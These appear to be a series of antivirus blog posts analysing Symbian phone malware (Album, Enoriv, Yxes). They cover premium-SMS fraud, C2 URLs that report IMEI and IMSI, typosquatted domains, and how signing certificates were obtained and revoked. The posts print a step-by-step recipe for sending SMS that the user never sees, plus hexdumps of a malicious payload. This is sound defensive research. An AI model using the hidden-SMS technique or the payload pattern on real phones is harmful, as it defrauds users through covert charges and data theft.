Lately, I have been analyzing a sample of SymbOS/Album.A!tr, another advanced malware targeting mobile phones running Symbian OS 9 and greater.

First of all, once more, like SymbOS/Yxes, this malware was “legitimately” signed by Symbian’s Express Signed program. The certificate is now revoked:

Serial Number: c8:8e:00:01:00:23:db:45:38:bc:e7:2a:d3:03
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
    Not Before: Nov 20 05:00:02 2009 GMT
    Not After : Nov 21 05:00:02 2019 GMT
Subject: C=CN, ST=guangdong, L=shenzhen,
O=Shenzhen ZhongXunTianCheng Technology Co.,Ltd.,
OU=PF_V100  1.0.0,
OU=Symbian Signed ContentID,
CN=Shenzhen ZhongXunTianCheng Technology Co.,Ltd.

Like SymbOS/Yxes, SymbOS/Album has the capability to silently send SMS messages. It does not do it the same way though: Yxes uses the RSendAs class, whereas Album uses a non-official Symbian API named EasyDgm API (Easy Datagram API). This API sends SMS messages via sockets. Check out the API’s source code for more details, but basically, this is how it works:

1. open a socket (RSocket) and select the SMS protocol: iSocket.Open(iSocketServer, KSMSAddrFamily, KSockDatagram, KSMSDatagramProtocol);
2. create a stream to write over that socket: RSmsSocketWriteStream writeStream(iSocket);
3. dump the SMS message in the stream: writeStream << *smsMsg;
4. flush all remaining data in the stream: writeStream.CommitL();

SMS messages sent that way are not reported in the phone’s Sent message box, so they are ‘invisible’ to the user (but not to his/her future bill !). To see what’s happening, one must read the phone’s internal log file, c:\101f401d\logdbu.dat:

"28/06/2010","15:26","Short message","Outgoing","Not sent",
   "1*1#","10665xxx"...
"28/06/2010","15:24","Short message","Outgoing","Not sent",
   "@id=200@V1.2.0@YOUR IMSI@3","13410252xxx"...

The log shows the malware tried to send 2 SMS messages, one to the phone number 10665xxx with text “1*1#” and the other one to 13410252xxx with a string containing the IMSI. Those SMS messages had no chance to make it to their recipient because they are only valid in China and I am not ;) (and, of course, I had checked manually in the disassembly what numbers the malware was likely to dial before trying !). Unfortunately, several Chinese users have been less lucky and have reported abnormal bill growth (see Figures 1 and 2).

Figure 1. Chinese user complaining his phone dialed 13410252xxx (text translated from Chinese)	Figure 2. Chinese user complaining about unexpected SMS messages to 10665xxx (text translated from Chinese)

The number 10665xxx is special. It corresponds to a service provider number, i.e a special number allocated by the operator to so-called “service providers”. In that case, the number was allocated by China Mobile to “Interactive Technology Co., Ltd. Shenzhen Creation”.

As for the number 13410252xxx, it corresponds to a personal GSM located in Shenzhen, in the Guangdong Province, and it is operated by China Mobile.

Figure 3. Locating number 13410252xxx (translated from Chinese)

Does that ring a bell? Look at the certificate at the top of this post:

C=CN, ST=guangdong, L=shenzhen

Yes, the certificate also belongs to an individual/company located in Shenzhen. No proof, but looks likely both belong to the same person.
Note that the names “Interactive Technology Co” or “ZhongXunTianCheng” may be fake, or impersonated and hence may not correspond to the malware authors.

Thanks to NetQin for sharing this sample.

– the Crypto Girl

On Symbian phones, most malware are either implemented natively in C++ (over the Symbian API) or in Java (midlets). SymbOS/Enoriv.A!tr.dial uses another language called m.

Usually, m scripts (.m extension) are run within the m environment, (mShell) using the various features offered by m library modules (messaging, obex, video, zip…). This is comparable to Java midlets, which run over a Java environment and use various Java API packages. The m scripts can also be compiled to be included in a stand-alone Symbian application. In that case, the Symbian SIS package contains the compiled m script (.mex extension) and the m runtime environment (library and resources) for the mobile phone.

So, when we unpack Enoriv, most files are actually not malicious and only related to the legitimate m environment:

File: !:\system\apps\file\file.app,     Type: EInstFileTypeRun
File: !:\system\apps\file\file.mex,     Type: EInstFileTypeSimple
File: !:\system\apps\file\dialogs.rsc,  Type: EInstFileTypeSimple
File: !:\system\apps\file\menvironment.rsc,     Type: EInstFileTypeSimple
File: !:\system\apps\file\file.rsc,     Type: EInstFileTypeSimple
File: !:\system\apps\file\file.aif,     Type: EInstFileTypeSimple

Files such as dialogs.rsc, menvironment.rsc, file.rsc and file.aif are non-malicious resources (menu, icon files etc). A close look at the main application file, file.app, which is run at installation, reveals mEnvironment error codes and exceptions (ErrDied, ErrNoMemory, ExcInvalidNumber…), built-in m function names (isfunction, sleep…) and use of functions to display a GUI (CAknQueryDialog, CEikDialog…), load resources (CCoeEnv::AddResourceFile…), find .mex files, load a built-in top level class etc. So, file.app does not look alarming at all, it is the standalone m runtime environment. The only possible concern with the main application file is that it contains code to send SMS messages. We will explain that later.

The ‘interesting’ file is file.mex. A quick hexdump confirms itcontains the malicious payload:

00000000  4d 45 58 02 09 0e ff 03  ff ff ff 07 00 00 80 28  |MEX............(|
00000010  01 00 01 06 02 04 00 00  00 00 00 00 ff 5d 36 01  |.............]6.|
00000020  00 00 43 11 00 00 11 01  00 36 01 05 02 43 0f e8  |..C......6...C..|
00000030  03 36 00 1b 01 43 11 02  00 11 03 00 36 01 05 02  |.6...C......6...|
00000040  43 0f e8 03 36 00 1b 01  43 11 04 00 11 03 00 36  |C...6...C......6|
00000050  01 05 02 43 0f e8 03 36  00 1b 01 43 11 02 00 11  |...C...6...C....|
00000060  03 00 36 01 05 02 43 0f  e8 03 36 00 1b 01 43 11  |..6...C...6...C.|
00000070  05 00 11 03 00 36 01 05  02 43 3d 04 05 73 6c 65  |.....6...C=..sle|
00000080  65 70 1b 01 01 01 00 ff  1b 07 04 33 36 34 39 07  |ep.........3649.|
00000090  0a 6f 70 73 65 78 20 33  39 32 32 07 04 37 31 32  |.opsex 3922..712|
000000a0  32 07 0a 6d 75 6e 65 74  20 33 39 32 32 07 04 31  |2..munet 3922..1|
000000b0  31 37 31 07 04 38 33 35  35 00 01 03 73 6d 73 00  |171..8355...sms.|
000000c0  00 02 04 04 73 65 6e 64  05 02 03 01 00 ff 04 00  |....send........|
000000d0  00                                                |.|
000000d1

Figure 1. Test m script file Figure 2. Compiling an m script

Unfortunately, the format of .mex is not (publicly) documented and .mex decompilers do not exist either (or not publicly). So, we have to work this out ourselves.

Obviously, .mex files begin with a “MEX” magic, followed by some formatting and finally strings. In the mShell documentation, we find there is a built-in sleep function which takes milliseconds as parameters, and a send function in the sms module, which takes a list of phone numbers as first argument and a text as second argument. We notice that, in the compiled script, function names are prefixed by 0×04 and the length of the function’s name:

• 0×04 0×05 sleep
• 0×04 0×04 send

Similarly, module names are prefixed by 0×01 and the length of the module’s name:

• 0×01 0×03 sms

and constants used in the script are prefixed by 0×07 and the length of the string:

• 0×07 0×04 3649
• 0×07 0x0a opsex 3922
• 0×07 0×04 7122
• 0×07 0x0a munet 3922
• 0×07 0×04 1171
• 0×07 0×04 8355

At this point, we know the malicious script:

1. uses the sms module
2. calls the built-in sleep function
3. calls the sms send function
4. uses 6 constant strings

but we do not know to which function arguments the constants correspond. To understand this, we create a basic non-malicious m script that sends an SMS (see Figure 3) to our lab’s test phone.

Then we compile it and compare its hexdump with that of the malware:

00000000  4d 45 58 02 09 0e bf 01  00 ff ff ff 07 00 80 28  |MEX............(|
00000010  01 00 01 02 02 04 00 00  00 00 00 00 ff 19 36 01  |..............6.|
00000020  00 00 43 0f 05 00 36 00  1b 01 43 11 00 00 11 01  |..C...6...C.....|
00000030  00 36 01 05 02 43 3d 04  05 73 6c 65 65 70 1b 01  |.6...C=..sleep..|
00000040  01 01 00 ff 1b 07 0c 2b  30 30 31 31 32 32 33 33  |.......+00112233|
00000050  34 34 35 07 11 48 65 6c  6c 6f 20 43 72 79 70 74  |445..Hello Crypt|
00000060  6f 20 47 31 72 6c 00 01  03 73 6d 73 00 00 02 04  |o G1rl...sms....|
00000070  04 73 65 6e 64 05 02 03  01 00 ff 04 00 00        |.send.........|

We notice that the argument to the sleep function (5 milliseconds) does not appear as a text string, and that, for the sms.send() function, the phone number appears before the SMS text message.

This consequently means that the “3649″ string is not an amount of milliseconds but a premium phone number the malware sends SMS messages to.

To understand how the other strings are organized, we need to play a little more with our non-malicious test script and, for example, have it send several SMS messages (replace with your own phone numbers):use sms

sms.send("+00000000000", "Msg 1");
sms.send("+11111111111", "Msg 2");
sms.send(["+22222222222", "+33333333333"], "Msg 3");

In that case, the hexdump shows the first phone number (“+00000000000″), the first message (“Msg 1″), the second phone number (“+11111111111″), the second message (“Msg 2″), the third phone number (“+22222222222″), the fourth phone number (“+33333333333″), the last message (“Msg 3″) and finally the string “sms” (reference to the sms module) and the string “send” (reference to the send function).

So, the malware sends a first SMS to the phone number 3649 with the text “opsex 3922″ and a second SMS to the phone number 7122 with the text “munet 3922″. For the remaining strings, 1171 and 8355 look like two premium phone numbers, but the 8355 could also be the SMS text. To tell the difference, we modify our non-malicious test script once more:

use sms
sms.send("+00000000000", "");

The hexdump shows the phone number (“+00000000000″), followed by a null string (0×07 0×00). As this does not occur in the malware, this means it only sends a third SMS message to phone number 1171 with text 8355. There we are, we retrieved the phone numbers and messages of all three SMS messages.

– Crypto Girl

A few days ago we encountered a new variant of the Symbian worm, Yxes, that we named SymbOS/Yxes.H!worm. This worm contacts malicious remote servers, which host Java Server Pages, and propagates by sending ‘attractive’ SMS messages. For instance, this new variant sends an SMS with an URL promising private information concerning a Chinese actress. Globally, the logic (and much of the code) is the same as in previous variants. Yet, there are a few updates, one of the main ones being the use of new remote malicious Java Server Pages.

I guess every analyst has noticed this variant of the malware contacts the following URLs:

http://XXXX/Jump.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...

http://XXXX/Kernel.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...

http://XXXX/KernelPara.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...

The PhoneType argument contains the model of the infected phone (e.g nokia3250, nokian95…), while the PhoneImei and PhoneImsi arguments respectively contain the phone’s IMEI and IMSI. The Source argument is new to this variant, and its use has not been reversed yet. It could possibly contain the name of the malicious website used to infect the phone.

The first of those JSP pages, Jump.jsp, redirects the user to a Chinese mobile social networking site (3g.kaixin001.com then wap.kaixin001.com). Actually, we had already noticed this behaviour in at least 2 former JSP pages used by previous versions.

The second JSP page, Kernel.jsp, actually replies the following string (host name removed):

http://XXXX/download/root/plugucsrv.sisx

And, from this location, we get a new minor variant of Yxes.D. This is a consistent behavior in Yxes: the worm indeed often works in pairs (e.g variants A, B, D or E download variants C, D or F). In this case, variant H silently downloads and installs a remotely hosted new version of variant D.

Its certificate says:

Serial Number:
 2a:2f:00:01:00:23:37:98:0c:73:b2:c7:69:17
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
 Not Before: Jan 23 17:55:42 2010 GMT
 Not After : Jan 24 17:55:42 2020 GMT
Subject: C=CN, ST=Fujian, L=XiaMen, O=Xiamen Jindoucheng Tech Co. Ltd.,
OU=plugucsrv  2.1.0, OU=Symbian Signed ContentID,
CN=Xiamen Jindoucheng Tech Co. Ltd.

A notification has been sent to Symbian, who tells us the certificate should soon be revoked. Meanwhile, be cautious if you encounter a file named plugucsrv.sisx that installs as a ‘Setting Wizard’.

That variant D then actually does most of the malicious work: collect data on the phone, report it back to the malicious web servers and send SMS messages. The URLs it contacts are:

http://XXXX/bs.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...&Component=...

http://XXXX/index.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...&Component=...

http://XXXX/number.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...

The PhoneNumber, Succeed, Fail and Time arguments are obviously used to report contacts listed on the phone. The Succeed and Fail arguments are followed by an integer, probably the number of times that phone number has successfully been called or not.

Quite interestingly, if we try to get http://XXXX/bs.jsp, using a credible user agent (the malicious websites are known to check user agents – in particular, if it detects Internet Explorer, it responds “404 Not Found”):

SUCCESS reponse: 200 OK

http://hew1ett-packard.com/bs.jsp?

Notice the letter L of Hewlett has been replaced the number 1 (one).

So, the first malicious web server redirects the requests to another malicious web server, whose name is obviously intentionally crafted to fool the end-user. The URL does not respond any longer. Note that the Yxes worm is already known to use such mispellings:

• www.megac1jck.com
• www.mozi11a.com
• www.makt00b.com
• www.mediafir8.com
• www.megaup10ad.com

The third JSP, KernelPara.jsp, is still a mystery we have to work on. It returns a file named encrypt_Kernel_Para.txt. If its name is meaningful, it is likely to be an encrypted version of a file named Kernel_Para.txt (the worm already uses files with similar names: Local_Para.txt and Remote_Para.txt). In our case, its content is fixed and 32-byte long. It is not an XOR encrypted URL.

Finally, to evaluate the worm’s authors progress, it is interesting to follow the dates and versions of samples. The dates are taken from the first validity date in the X.509 certificate used to sign the sample, and the version numbers are included either in the main executable of the sample or in the certificate.

Apart from a sporadic ‘accident’ end of June 2009 where a version 1.0 goes in the wild (probably an error in versioning), we see the worm authors are continuously working on Yxes since the end of 2008. So my first prediction for 2010 was nearly bound to be true…

– The Crypto Girl

There has been a lot of confusion lately concerning the SymbOS/Yxes worm. Among those, it has now dawned on me the so-called Transmitter.C reported in numerous articles on the net (for instance, here and here), is not sexySpace.sisx (detected as SymbOS/Yxes.E!worm): those are two different malware.

Why ? As a matter of fact, several issues startled me (ordered from weakest to strongest point):

1. Transmitter.C is reported to send a massive amount of SMS messages (they are talking about 500 SMS). If Transmitter.C is Yxes.E, it is surprising because I cannot see any loop in the code indicating numerous copies of SMS are sent out, but of course, that would depend on the amount of contacts and SMS stored in the infected phone. Strange though. In Yxes.E, I do see the piece of code that sends SMS messages (see picture below), but I haven’t spotted any function calling it yet. The malicious code might be bugged. And, as a matter of fact, on the Nokia N95 I tried it on, Yxes.E did not succeed to send any SMS at all.

Figure 1. Assembly routine sending an SMS – disassembled with IDA Pro. The routine connects to the SendAs server. Then it creates a message object, sets the recipient (“to”) and finally the message body.

2. The screenshot of the SMS message mentions the string “A very sexy girl, Try it now!” with a link to a website hosting sexySpace.sisx. But, quite strangely, this string is nowhere to be found in the executable inside sexySpace.sisx (AcsServer.exe) nor in other resources. No, it is definetely not in Yxes.E. Of course, it could be dynamically decrypted from data in the executable, but then, why are similar strings in cleartext in Yxes.D (“A very interesting sexy game!try it soon!”) ?

3. Last but not least, Transmitter.C is said to spread as a trojaned version of a legitimate application named ‘Advanced Device Locks’, but sexySpace.sisx does not install as ‘Advanced Device Locks’ at all: it installs under the name ‘Sexy Space’ and does not include any part of the Advanced Device Locks application. That does not sound like the right sample at all.

To my opinion, Transmitter.C is not sexySpace.sisx, and thus not SymbOS/Yxes.E!worm. In that case, the SMS screenshot should probably be credited to Transmitter.C (and not SymbOS/Yxes.E!worm), which is interesting, because it includes a link to a website hosting sexySpace.sisx. This means Transmitter.C can be seen as a kind of dropper that tries to spread SymbOS/Yxes.E!worm.

– The Crypto Girl.

PS. By the way, if you encounter a sample of Transmitter.C please be forward it to submitvirus (at) fortinet.com.

In case you are not familiar with the Symbian development process, application development features two major security meatures in Symbian OS 9.1 and greater. First, applications must specify their capabilities, i.e if an application uses Bluetooth connection, it must have the Symbian LocalServices capability. A few other interesting capabilities for malware are:

* NetworkServices: required to make a call, send HTTP requests etc.
* ReadUserData/WriteUserData: required to read/write user’s contacts.
* UserEnvironment: to use the camera.
* Location: particularly interesting for spywares, to locate the phone.
* PowerMgmt: to kill applications.
* ReadDeviceData/WriteDeviceData: typically used to get the IMEI

Second, applications must be signed: unsigned applications can no longer be installed (unless the phone is hacked). There are at least 5 ways to sign applications:

* self-sign your application: this is the quickest way to sign an application. It can easily be done, offline, with Carbide.C++ (Symbian development IDE). But, of course, the application installs with a huge security warning.

* use Symbian’s Open Signed Online: this is meant as an on-line testing facility. Applications are posted on the website, and signed in a few hours.

* get a certificate from the Chinese website OPDA: this technique was mainly useful before Symbian opened its Open Signed Online service. Now, it shows less interest, unless one speaks Chinese. Yet, several tutorials explain how to get a certificate from this website for those who do not understand a word of Chinese. The first signature is free.

* Express Signed: this can be considered as the ‘quick’ (express) but official way to get an application signed. Developers need to register using a valid email, not from a public domain (not yahoo, gmail…). Then, each signature costs US$ 20.

* Certified Signed: this is the official / professional way to get applications signed. Developers register on the same web site as for Express Signed, but must get an Application Code Signing (ACS) Publisher ID (costs US$ 200) to identify. The signing process may be long, as the application undergoes several quality tests.

The table below summarizes the limitations of each method.

So, how do we identify which signing process SymbOS/Yxes variants use ?

All variants except B are similar: they install without any security warning, regardless of any IMEI, and their root certificate is issued by “VeriSign Testing-Based ACS Root for Symbian OS”, also referred to as “Symbian B”.

Figure 1. Tool SisWare showing certificates from lower to higher depth. The last certificate is a certificate issued by the root certificate, so its “issued by” field is the common name for root certificate.

For these variants, the first three signing methods can obviously be eliminated: there aren’t any security warning at installation so they are not self-signed, they install on any phone regardless of its IMEI, so they are not Open Signed nor from OPDA. This only leaves Express or Certified Signing. It is difficult to tell between those because they use the same web site accounts, use the same root certificate (see this grid at Symbian) and Yxes does not use a capability restricted to Certified Signed such as NetworkControl or DiskAdmin. Nevertheless, as Certified Signed applications take time to sign (and cost more), my best guess is they were signed using the Express Signed program. Note that I do imply malware authors would not invest US$ 200 to spread their virus, but rather that they would not want to wait to get their application signed.

SymbOS/Yxes.B!worm is different and does not install successfully on any IMEI. A dump of its certificate shows the issuer is “C=GB, ST=London, L=Southwark, O=Symbian Software Limited, CN=Symbian Developer Certificate CA 280205A/emailAddress=developercertificates@symbian.com” and experimented developers also notice an X.509 extension:

openssl x509 -text -inform DER < yxesB.cer
...
       X509v3 extensions:
            1.2.826.0.1.1796587.1.1.1.1: critical
                0...353966012936006

This is the IMEI restriction (where the IMEI is 353966012936006). This means SymbOS/Yxes.B was signed using the Open Signed Online or OPDA website.

Finally, end-users should be relieved to know nearly all certificates corresponding to Yxes are now revoked. The revocation list (CRL) can be downloaded from http://www.trustcenter.de/crl/v2/symbian_ca_I.crl. :

openssl crl -in symbian_ca_I.crl.2 -inform DER -text
...

===> This is SymbOS/Yxes.A!worm
Serial Number: C23A00010023A7D0AF48939BEE09
        Revocation Date: Feb 20 09:44:24 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation

...
===> This is SymbOS/Yxes.C!worm
    Serial Number: 86E100010023AC2B0555D23BAE61
        Revocation Date: Feb 20 09:44:24 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation
...
===> This is SymbOS/Yxes.D!worm
   Serial Number: 59D90001002343FE87A1C26833F0
        Revocation Date: Jan  9 15:12:15 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation
...
==> This is SymbOS/Yxes.E!worm
Serial Number: AE2C0001002329D2E4228834C243
        Revocation Date: Jul 16 13:16:45 2009 GMT

...
==> This is SymbOS/Yxes.F!tr
    Serial Number: 0DC50001002374FC26D186DA0E2A
        Revocation Date: Jul 16 13:16:46 2009 GMT

Only a recent variant of SymbOS/Yxes.D!worm is missing, with serial number d4:44:00:01:00:23:99:77:8c:01:c1:42:ae:d1, but Symbian has been notified.